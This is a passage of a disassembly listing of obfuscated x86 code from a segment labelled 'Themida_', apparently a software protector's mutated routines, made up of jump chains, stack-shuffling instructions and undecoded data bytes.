		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_560F45
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4BE5600h, 0E9000000h, 0FFFF461Bh, 4BF575Ch, 52000000h
		dd 405FD8BAh, 5AD3293Fh, 0C381FB01h, 3F405FD8h,	4EC835Fh
		dd 0B9240C89h, 5C4F8Fh,	8C0FD9F7h, 3F04h, 0E908E1C1h, 0FFFF419Ch
		dd 6BD6E9h
		db 0
; ---------------------------------------------------------------------------

loc_564FC9:				; CODE XREF: Themida_:00563CB7j
		push	0FFCh
		mov	[esp], ecx
		jmp	loc_55C934
; ---------------------------------------------------------------------------

loc_564FD6:				; CODE XREF: Themida_:00565FEFj
		and	bh, 0E4h
		jnp	loc_55FDB8
		dec	bh
		jnz	loc_55E782
		push	eax
		mov	ah, 0DFh
		add	bh, ah
		pop	eax
		mov	dl, bh
		pop	ebx
		jmp	loc_5612A5
; ---------------------------------------------------------------------------
		db 58h
; ---------------------------------------------------------------------------

loc_564FF6:				; CODE XREF: Themida_:005642B9j
		pop	ebx
		add	esp, 4
		push	123Fh
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_563209
; ---------------------------------------------------------------------------
dword_56500C	dd 9D1C77FFh, 1CD35966h, 0CCE99C24h ; DATA XREF: Themida_:005561ECo
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56501B:				; CODE XREF: Themida_:0056BD43j
		add	eax, edi
		pop	edi
		jmp	loc_565E7F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E95205EEh, 2EE0h
; ---------------------------------------------------------------------------

loc_56502C:				; CODE XREF: Themida_:00557163j
		jmp	loc_561B4C
; ---------------------------------------------------------------------------
aIbFkpS		db 'I│а■kp╨И;>',0
		dd 59F68100h, 0E924642Ch, 0FFFFB964h
; ---------------------------------------------------------------------------

loc_565048:				; CODE XREF: Themida_:005686ADj
		inc	ah
		push	edx
		mov	dh, 0D4h
		sub	dh, 0F0h
		push	ecx
		mov	cl, 63h
		xor	dh, cl
		mov	ecx, [esp]
		jmp	loc_56B289
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0Ch
		dd 811B2824h, 907F83EDh, 0EC815E20h, 4,	56241C89h, 0E84147BEh
		dd 4149BB1Bh, 82E91BE8h, 0BDFFFF37h, 4,	875DEF29h, 895C243Ch
		dd 0DFBF243Ch, 813ADA17h, 4ECh,	24148900h, 7C87B951h, 0CA892382h
		dd 81DAF759h, 0CF487AE2h, 0B6BE5672h, 0F75AB309h, 7EEC1DEh
		dd 0E906E6C1h, 1EE1h
; ---------------------------------------------------------------------------

loc_5650C4:				; CODE XREF: Themida_:00556E65j
					; Themida_:00560089j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		jmp	loc_55CD8E
; ---------------------------------------------------------------------------

loc_5650D3:				; CODE XREF: Themida_:0055CF51j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	1012h
		mov	[esp], ebx
		jmp	loc_56A6EA
; ---------------------------------------------------------------------------
a1sXs_		db '1Х])гXИ.`',0
		align 2

loc_5650F2:				; CODE XREF: Themida_:0055C4CBj
		pop	edx
		push	edx
		mov	edx, 4
		add	ecx, 2D557B50h
		add	ecx, edx
		sub	ecx, 2D557B50h
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edx, 4
		jmp	loc_55F084
; ---------------------------------------------------------------------------
dword_565124	dd 24048B66h, 0FF8DD1E9h ; DATA	XREF: Themida_:00556248o
		db 0FFh
; ---------------------------------------------------------------------------

loc_56512D:				; CODE XREF: Themida_:0055B3B7j
		not	esi
		xor	esi, 9A208CB7h
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_56A5A3
; ---------------------------------------------------------------------------

loc_56513F:				; CODE XREF: Themida_:0055B23Dj
					; Themida_:00561A06j
		push	ecx
		push	4
		pop	ecx
		add	edi, ecx
		pop	ecx
		push	25F3h
		mov	[esp], ecx
		mov	ecx, 4
		sub	edi, 513272C8h
		add	edi, ecx
		push	edx
		mov	edx, 513272C8h
		add	edi, edx
		jmp	loc_556A40
; ---------------------------------------------------------------------------

loc_56516B:				; CODE XREF: Themida_:00557110j
		add	esp, 4
		xor	esi, ecx
		pop	ecx
		jmp	loc_561D78
; ---------------------------------------------------------------------------

loc_565176:				; CODE XREF: Themida_:00558306j
		add	esi, 0DD202587h
		mov	edi, esi
		pop	esi
		dec	edi
		dec	edi
		not	edi
		and	edi, 7F623B29h
		shr	edi, 7
		not	edi
		jmp	loc_558CC1
; ---------------------------------------------------------------------------

loc_565193:				; CODE XREF: Themida_:0055F649j
		xor	eax, 60B60091h
		jmp	loc_56A4B3
; ---------------------------------------------------------------------------
		db 1, 0F5h, 0E9h
		dd 0FFFFFEB9h
dword_5651A4	dd 24048B66h, 66D7E9h, 0E9DBF700h, 0FFFF609Eh
					; DATA XREF: Themida_:00556270o
; ---------------------------------------------------------------------------

loc_5651B4:				; CODE XREF: Themida_:0056BB9Aj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_564685
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1EAF59E9h, 7ABDEB81h, 68E9062Ah
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5651CF:				; CODE XREF: Themida_:00561DA3j
		pop	ebp
		push	dword ptr [edi+eax*4]
		push	2542h
		mov	[esp], edx
		push	1C2443D5h
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 2E2B1642h
		push	ebx
		push	edx
		mov	edx, 75B87353h
		and	edx, 23723164h
		sub	edx, 0FE342007h
		mov	ebx, edx
		pop	edx
		sub	[esp+8], ebx
		jmp	loc_560429
; ---------------------------------------------------------------------------
		dd 0E31E32BEh, 5EF00102h, 8158C131h, 0EC1221EBh, 81CB0113h
		dd 0EC1221C3h, 240C8B13h, 4C481h, 0E9550000h, 0FFFF459Ah
; ---------------------------------------------------------------------------

loc_565238:				; CODE XREF: Themida_:loc_569A55j
		xor	al, 0CEh
		mov	cl, al
		pop	eax
		add	ah, cl
		jmp	loc_56B46F
; ---------------------------------------------------------------------------

loc_565244:				; CODE XREF: Themida_:00569224j
		shl	ch, 1
		jnz	loc_55B9BD
		sub	ch, 0F3h
		jp	loc_55D6ED
		push	ebx
		mov	bh, 97h
		push	cx
		pop	ebp

loc_56525B:				; CODE XREF: Themida_:0056083Ej
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55AED5
; ---------------------------------------------------------------------------

loc_565275:				; CODE XREF: Themida_:0055B4BAj
					; Themida_:00565D84j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565295:				; CODE XREF: Themida_:005573C6j
		mov	ebp, 60BF180Ch
		mov	edx, 0FCCC2C81h
		add	edx, 2F1B3556h
		jmp	loc_55E90D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C381h, 63E90000h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5652BB:				; CODE XREF: Themida_:0056588Aj
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	35DCh
		mov	[esp], esi
		jmp	loc_5592F2
; ---------------------------------------------------------------------------

loc_5652DC:				; CODE XREF: Themida_:0056AF44j
		add	cl, 75h
		jnb	loc_564625
		jmp	loc_56A4DF
; ---------------------------------------------------------------------------

loc_5652EA:				; CODE XREF: Themida_:00565687j
		pop	ecx
		or	ebx, ecx
		pop	ecx
		jmp	loc_56C0A2
; ---------------------------------------------------------------------------

loc_5652F3:				; CODE XREF: Themida_:0056B741j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	bl, 7Eh
		add	ah, bl
		pop	ebx
		add	ah, 0FFh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55902E
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF3655h, 3BA8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56531E:				; CODE XREF: Themida_:0055764Aj
		add	eax, ebx
		pop	ebx
		mov	edi, eax
		mov	eax, [esp]
		jmp	loc_567BEB
; ---------------------------------------------------------------------------

loc_56532B:				; CODE XREF: Themida_:0055DD4Aj
		mov	[esp], eax
		jmp	loc_558BC4
; ---------------------------------------------------------------------------
		db 58h
		dd 8B5EF029h, 8951243Ch, 0BBE56E1h, 0F703545Eh,	0EED14ED6h
		dd 2F0BC681h, 0F10181AAh, 9D0E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565356:				; CODE XREF: Themida_:0056B4DCj
		push	1B41h
		mov	[esp], ebx
		jmp	loc_56CB7D
; ---------------------------------------------------------------------------
		db 52h
		dd 796B2BBAh, 0DA4AB814h, 0D001F182h, 64EAE95Ah, 0EBA0000h
		dd 8161397Fh, 0B95D0ECAh, 3E2C15Bh, 56C1B951h, 0D9F77A80h
		dd 0FF39FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565391:				; CODE XREF: Themida_:00566021j
		pop	ebx
		push	ebx
		jmp	loc_56D16F
; ---------------------------------------------------------------------------

loc_565398:				; CODE XREF: Themida_:00568707j
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	edx
		push	ecx
		push	ebp
		mov	ebp, 296176BCh
		inc	ebp
		jmp	loc_56246D
; ---------------------------------------------------------------------------

loc_5653B6:				; CODE XREF: Themida_:005684A4j
		sub	al, 90h
		and	al, 81h
		push	3656h
		mov	[esp], ebx
		jmp	loc_56741C
; ---------------------------------------------------------------------------
byte_5653C7	db 0FFh			; DATA XREF: Themida_:005561C8o
		dd 669D1C77h, 24041058h, 0F11E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5653D6:				; CODE XREF: Themida_:0056A53Fj
		mov	ebx, [esp]
		jmp	loc_56983F
; ---------------------------------------------------------------------------

loc_5653DE:				; CODE XREF: Themida_:0055C866j
		push	eax
		mov	eax, 38B1304h
		and	ebx, eax
		jmp	loc_559F26
; ---------------------------------------------------------------------------

loc_5653EB:				; CODE XREF: Themida_:0056D723j
		add	ecx, 49D7E62Fh
		mov	esi, 0C90B6D86h
		sub	esi, ecx
		jmp	loc_55B637
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 88EEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565406:				; CODE XREF: Themida_:005635BFj
		mov	ecx, 8156495h
		inc	ecx
		sub	ecx, 8156492h
		add	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_5574A1
; ---------------------------------------------------------------------------
aSsg		db '[Иsg',0
		align 4

loc_56542C:				; CODE XREF: Themida_:00569794j
		mov	edx, esp
		push	edi
		mov	edi, 50717B73h
		not	edi
		add	edi, 49659D1h
		jmp	loc_569CB0
; ---------------------------------------------------------------------------
byte_565441	db 66h,	8Bh, 4		; DATA XREF: Themida_:005561D0o
		dd 59545124h, 8904EC83h, 51B82404h, 5724317Bh, 6D69B850h
		dd 3B2525AFh, 53EC27Bh,	1, 4805E0C1h, 85C2B22Dh, 58C7893Ah
		dd 1C7814Fh, 50000000h,	873B88B8h, 578F0D69h, 0E0256D0Ah
		dd 5084A39h, 54FC49FBh,	0FF1090E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565491:				; CODE XREF: Themida_:00564A0Dj
		push	esi
		mov	esi, 6BB61E8Eh
		shl	esi, 8
		not	esi
		add	esi, 745B991h
		add	ebx, esi
		jmp	loc_55B80D
; ---------------------------------------------------------------------------

loc_5654A9:				; CODE XREF: Themida_:005578F5j
		or	eax, 1EE40268h
		jl	loc_568012
		jmp	loc_56028A
; ---------------------------------------------------------------------------
		db 0Fh,	88h, 4
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5654BF:				; CODE XREF: Themida_:0055A46Cj
		push	eax
		push	edx
		jmp	loc_565D89
; ---------------------------------------------------------------------------

loc_5654C6:				; CODE XREF: Themida_:0055B3EDj
		pop	edi
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B221
; ---------------------------------------------------------------------------

loc_5654D4:				; CODE XREF: Themida_:00556C1Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	34F0h
		mov	[esp], edi
		push	0FA5h
		jmp	loc_55DEB7
; ---------------------------------------------------------------------------
byte_5654F5	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0055625Co
		dd 0FFFF0DEBh
; ---------------------------------------------------------------------------

loc_5654FC:				; CODE XREF: Themida_:0056BFA2j
		pop	edx
		add	edx, 4
		jmp	loc_55C064
; ---------------------------------------------------------------------------

loc_565508:				; CODE XREF: Themida_:005696ECj
		sub	[esp+4], esi
		jmp	loc_56CA6E
; ---------------------------------------------------------------------------

loc_565511:				; CODE XREF: Themida_:0056B505j
		and	edx, 78423E49h
		sub	edx, 1F860FBFh
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		and	ecx, 7BE11E44h
		neg	ecx
		push	ebx
		mov	ebx, 3B396084h
		add	ebx, 2258A53Dh
		jmp	loc_5669CA
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 38h
		dd 8B1B4543h, 0C483240Ch, 4CD9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565552:				; CODE XREF: Themida_:0056AE35j
		sub	dh, 0B0h
		sub	dh, 1
		add	dh, 0F9h
		sub	cl, dh
		pop	edx
		shr	cl, 8
		and	cl, 7Fh
		push	edx
		jmp	loc_55E6AD
; ---------------------------------------------------------------------------
word_56556A	dw 8B66h		; DATA XREF: Themida_:005561E4o
		dd 5453240Ch, 81241C8Bh, 4C4h, 0E3895300h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 68243489h, 2F2Dh, 0BB241C89h, 41D626D8h
		dd 0D3F7D3F7h, 0FF7791E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5655A5:				; CODE XREF: Themida_:00560E7Aj
		mov	[esp], ebx
		jmp	loc_56ABA5
; ---------------------------------------------------------------------------
		db 54h,	58h, 81h
		dd 4ECh, 241C8900h, 4BBh, 5BD80100h, 4BF57h, 57E90000h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5655CB:				; CODE XREF: Themida_:loc_558043j
		neg	eax
		neg	eax
		jge	loc_566BCB
		push	ebp
		jmp	loc_55DE85
; ---------------------------------------------------------------------------
		db 8Bh
		db 3Ch,	24h, 55h
; ---------------------------------------------------------------------------

loc_5655DF:				; CODE XREF: Themida_:00559D98j
		mov	esp, [esp]
		jmp	loc_563E99
; ---------------------------------------------------------------------------

loc_5655E7:				; CODE XREF: Themida_:00564348j
		mov	cl, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		add	al, cl
		pop	ecx
		jmp	loc_56D6D1
; ---------------------------------------------------------------------------

loc_5655F9:				; CODE XREF: Themida_:loc_55E496j
		jmp	loc_56212E
; ---------------------------------------------------------------------------

loc_5655FE:				; CODE XREF: Themida_:0055F6CFj
		add	ebp, 4
		jmp	loc_56D114
; ---------------------------------------------------------------------------

loc_565609:				; CODE XREF: Themida_:0055F07Fj
		push	esi
		push	ebx
		jmp	loc_562EB5
; ---------------------------------------------------------------------------

loc_565610:				; CODE XREF: Themida_:0055FD43j
		sub	ebx, 32CC106Eh
		mov	ebp, [esp]
		push	ecx
		jmp	loc_55C1A5
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC8350E7h, 242C8904h, 4EC81h, 99E90000h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565633:				; CODE XREF: Themida_:0055C374j
		or	eax, 45433082h
		jg	loc_56A0D4
		sub	eax, 74C14EA6h
		push	eax
		xor	dword ptr [esp], 49283199h

loc_56564B:				; CODE XREF: Themida_:0056A2B3j
		push	eax
		mov	eax, 54EA2853h
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_559F68
; ---------------------------------------------------------------------------

loc_565671:				; CODE XREF: Themida_:00569DC4j
		xchg	esi, [esp]
		mov	esp, [esp]
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565682:				; CODE XREF: Themida_:005659BFj
		push	17286CC9h
		jmp	loc_5652EA
; ---------------------------------------------------------------------------

loc_56568C:				; CODE XREF: Themida_:005599C8j
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, 1FF568C9h
		jmp	loc_56AB94
; ---------------------------------------------------------------------------

loc_56569F:				; CODE XREF: Themida_:0055719Fj
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5656C1:				; CODE XREF: Themida_:005662B5j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_564D2B
; ---------------------------------------------------------------------------

loc_5656D5:				; CODE XREF: Themida_:0056B927j
		mov	ebx, ebp
		pop	ebp
		add	edx, 564C770Bh
		add	edx, ebx
		jmp	loc_562F0F
; ---------------------------------------------------------------------------

loc_5656E5:				; CODE XREF: Themida_:0055F2B7j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_564DB1
; ---------------------------------------------------------------------------

loc_5656F6:				; CODE XREF: Themida_:0055638Cj
		push	ecx
		push	ebx
		mov	ebx, 0A835678h
		mov	ecx, 783546F4h
		xor	ecx, ebx
		pop	ebx
		sub	edx, ecx
		pop	ecx
		add	edx, ecx
		push	eax
		mov	eax, 72B6108Ch
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_557749
; ---------------------------------------------------------------------------
word_56571A	dw 28Fh			; DATA XREF: Themida_:00556184o
		dd 0FF0BC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565721:				; CODE XREF: Themida_:0055A744j
		push	small 4DBEh
		mov	[esp], bx
		mov	bl, 0FFh
		jmp	loc_56824D
; ---------------------------------------------------------------------------
		dd 1004C681h, 0C5810B54h, 49293291h, 0FFEE51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565741:				; CODE XREF: Themida_:0055856Ej
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565746:				; CODE XREF: Themida_:0056A976j
		pop	ecx
		jmp	loc_562D0F
; ---------------------------------------------------------------------------

loc_56574C:				; CODE XREF: Themida_:0055752Fj
					; Themida_:0055CD6Dj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 45804413h
		jmp	loc_559B93
; ---------------------------------------------------------------------------

loc_56575C:				; CODE XREF: Themida_:0055F1B6j
		xor	edi, esi
		jmp	loc_55E9B5
; ---------------------------------------------------------------------------

loc_565763:				; CODE XREF: Themida_:0055C187j
		mov	[esp], ebx
		mov	ebx, 0B3EC13D3h
		add	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	eax, ebp
		jmp	loc_55A3C0
; ---------------------------------------------------------------------------

loc_565787:				; CODE XREF: Themida_:0056A7EFj
		push	edx
		mov	dl, cl
		mov	al, dl
		pop	edx
		jmp	loc_563756
; ---------------------------------------------------------------------------

loc_565792:				; CODE XREF: Themida_:00561F47j
		xor	al, 0CEh
		mov	cl, al
		pop	eax
		add	ah, cl
		jmp	loc_556460
; ---------------------------------------------------------------------------

loc_56579E:				; CODE XREF: Themida_:0055AF26j
		mov	edx, 17747F3Dh
		jmp	loc_55EC7A
; ---------------------------------------------------------------------------

loc_5657A8:				; CODE XREF: Themida_:00564384j
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_567BF3
; ---------------------------------------------------------------------------

loc_5657C7:				; CODE XREF: Themida_:00556CA4j
		add	edx, 95CAB661h
		jmp	loc_55A595
; ---------------------------------------------------------------------------
		dw 850Fh
		dd 0FFFFA663h, 674C40Dh, 86870F28h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5657E3:				; CODE XREF: Themida_:0055FC62j
		mov	ecx, 2132073Fh
		jmp	loc_559078
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 0E95C242Ch, 0FFFFF3D5h, 4C481h, 0CB890000h
		dd 0ADDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56580A:				; CODE XREF: Themida_:0055F339j
		push	edx
		push	4DF156BCh
		jmp	loc_55CD27
; ---------------------------------------------------------------------------
byte_565815	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556054o
		dd 0EC815524h, 4, 52242489h, 2F2C68h, 243C8900h, 0AF320CBFh
		dd 0A3C78176h, 0F58477Dh, 571681h, 0C5CF8100h, 0F54B71Bh
		dd 0FF1E648Dh, 5E781FFh, 0F2C4B56h, 0FF96D480h,	5E781FFh
		dd 0F64856Bh, 389887h, 85EDE900h, 0DBF7FFFFh, 3354C381h
		dd 0E3D10669h
; ---------------------------------------------------------------------------

loc_565870:				; CODE XREF: Themida_:00567AF6j
		movzx	ecx, ax
		push	7C24h
		mov	[esp], ecx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565880:				; CODE XREF: Themida_:0055E3E6j
		sub	edx, 504A220Bh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5652BB
; ---------------------------------------------------------------------------

loc_56588F:				; CODE XREF: Themida_:0056AC81j
		pop	dword ptr [edx+38h]
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 69F943D0h
		jmp	loc_558AED
; ---------------------------------------------------------------------------

loc_5658A6:				; CODE XREF: Themida_:005614E6j
		mov	bh, 2Ch
		push	eax
		mov	ah, bh
		mov	ch, ah
		pop	eax
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 25h
		or	dh, 9Ah
		jb	loc_557D6F
		sub	dh, 0CFh
		js	loc_564274
		jmp	loc_56B26C
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 80242C89h
		db 0EFh, 51h, 5Ah
; ---------------------------------------------------------------------------

loc_5658DB:				; CODE XREF: Themida_:0055FE61j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55E935
; ---------------------------------------------------------------------------

loc_5658EA:				; CODE XREF: Themida_:0056D531j
		add	bl, 0A4h
		shr	bl, 2
		add	bl, 72h
		add	ch, bl
		jmp	loc_56AAA1
; ---------------------------------------------------------------------------

loc_5658FA:				; CODE XREF: Themida_:0055EC75j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_56620F
; ---------------------------------------------------------------------------
byte_565919	db 50h,	89h, 0E0h	; DATA XREF: Themida_:00556274o
		dd 405h, 4E88300h, 5C240487h, 24048F54h, 9CE95457h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565933:				; CODE XREF: Themida_:00563B28j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		add	ebx, 6447EA6h
		pop	eax
		or	ebx, 11955B4Ch
		and	ebx, 70075FC6h
		jnz	loc_55F449
		xor	ebx, 42602B46h
		jmp	loc_5600B7
; ---------------------------------------------------------------------------
		db 51h
; ---------------------------------------------------------------------------

loc_565963:				; CODE XREF: Themida_:loc_565FCDj
		push	ebp
		mov	ebp, 4CEFE51h
		add	ebx, ebp
		pop	ebp
		dec	ebx
		jmp	loc_556DA5
; ---------------------------------------------------------------------------

loc_565972:				; CODE XREF: Themida_:0056CAA1j
		pop	edi
		jmp	loc_56605B
; ---------------------------------------------------------------------------

loc_565978:				; CODE XREF: Themida_:00565BA9j
					; Themida_:00567ABAj
		xor	edi, 74D60EACh
		xchg	ebp, edi
		inc	ebp
		xor	edi, ebp
		jmp	loc_560714
; ---------------------------------------------------------------------------

loc_565988:				; CODE XREF: Themida_:0056B641j
		add	ax, di
		mov	di, [esp]
		add	esp, 2
		add	ax, cx
		push	ebx
		mov	bx, 936h
		xor	bx, 6C56h
		jmp	loc_560C08
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C1h, 0EE815C24h, 1, 0FF42EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5659B9:				; CODE XREF: Themida_:005636BBj
		mov	ebx, 0AEE0763h
		push	ecx
		jmp	loc_565682
; ---------------------------------------------------------------------------
		dd 6353E681h, 8A0F647Bh, 0FFFF149Ch, 69FDBB53h,	5FE9023Ah
		dd 83FFFF9Ch, 0F2E904C6h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5659E3:				; CODE XREF: Themida_:0055E304j
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_56082E
; ---------------------------------------------------------------------------

loc_5659F2:				; CODE XREF: Themida_:0056B20Bj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ebx, 2
		jmp	loc_562D19
; ---------------------------------------------------------------------------

loc_565A12:				; CODE XREF: Themida_:0056692Ej
		xchg	edx, [esp]
		pop	esp
		jmp	loc_561B1A
; ---------------------------------------------------------------------------

loc_565A1B:				; CODE XREF: Themida_:0056B4FAj
		add	edx, edi
		pop	edi
		pop	edi
		add	dword ptr [esp+4], 221C11D9h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 221C11D9h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565A42:				; CODE XREF: Themida_:0055A34Aj
		xor	edi, 43A98B83h
		add	edi, 0DA17657h
		jg	loc_55D33C
		and	edi, 5FE3340Fh
		jmp	loc_561067
; ---------------------------------------------------------------------------
		db 88h
		db 0EBh
; ---------------------------------------------------------------------------

loc_565A61:				; CODE XREF: Themida_:00562D5Aj
		sub	esp, 4
		jmp	loc_5679F6
; ---------------------------------------------------------------------------

loc_565A69:				; CODE XREF: Themida_:0055D9B1j
		push	4EB2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55944C
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0BA522404h, 4A564D20h, 0FFA1C2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565A99:				; CODE XREF: Themida_:00567085j
		mov	ebp, 4A8F28CDh
		add	edx, ebp
		jmp	loc_562B06
; ---------------------------------------------------------------------------

loc_565AA5:				; CODE XREF: Themida_:005631E3j
		shl	ebx, 2
		jmp	loc_55AA08
; ---------------------------------------------------------------------------

loc_565AAD:				; CODE XREF: Themida_:0056BFF9j
		sub	ecx, 6CD41EC3h
		pop	esi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_565ACE:				; CODE XREF: Themida_:00557E10j
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_559ED0
; ---------------------------------------------------------------------------

loc_565ADF:				; CODE XREF: Themida_:0055F537j
		xor	ebx, 7B1C378Eh
		sub	ebx, 3CC5328Eh
		neg	ebx
		sub	ebx, 0C302F267h
		jmp	loc_566702
; ---------------------------------------------------------------------------

loc_565AF8:				; CODE XREF: Themida_:0056984Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	esi
		push	edx
		jmp	loc_56C723
; ---------------------------------------------------------------------------
		dd 2A7AB850h, 0CCE97F3Fh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565B3F:				; CODE XREF: Themida_:00564540j
		pop	edx
		jmp	loc_56996E
; ---------------------------------------------------------------------------

loc_565B45:				; CODE XREF: Themida_:0056280Fj
		push	277F2F7Dh
		pop	edx
		push	7259h
		mov	[esp], edx
		pop	ebx
		pop	edx
		xor	ebx, 44434627h
		jmp	loc_55747F
; ---------------------------------------------------------------------------
		dd 8159CF01h, 6372A7F7h, 0E0870F0Fh, 81FFFFADh,	360217EFh
		dd 2830F32h, 8900001Eh
		db 0C9h, 57h
; ---------------------------------------------------------------------------

loc_565B7E:				; CODE XREF: Themida_:0055E42Dj
		push	eax
		mov	eax, 0FDF3220Ah
		xor	ebx, eax
		jmp	loc_55FDCF
; ---------------------------------------------------------------------------

loc_565B8B:				; CODE XREF: Themida_:0055BC0Dj
		inc	ebx
		push	edi
		mov	edi, 1B227B36h
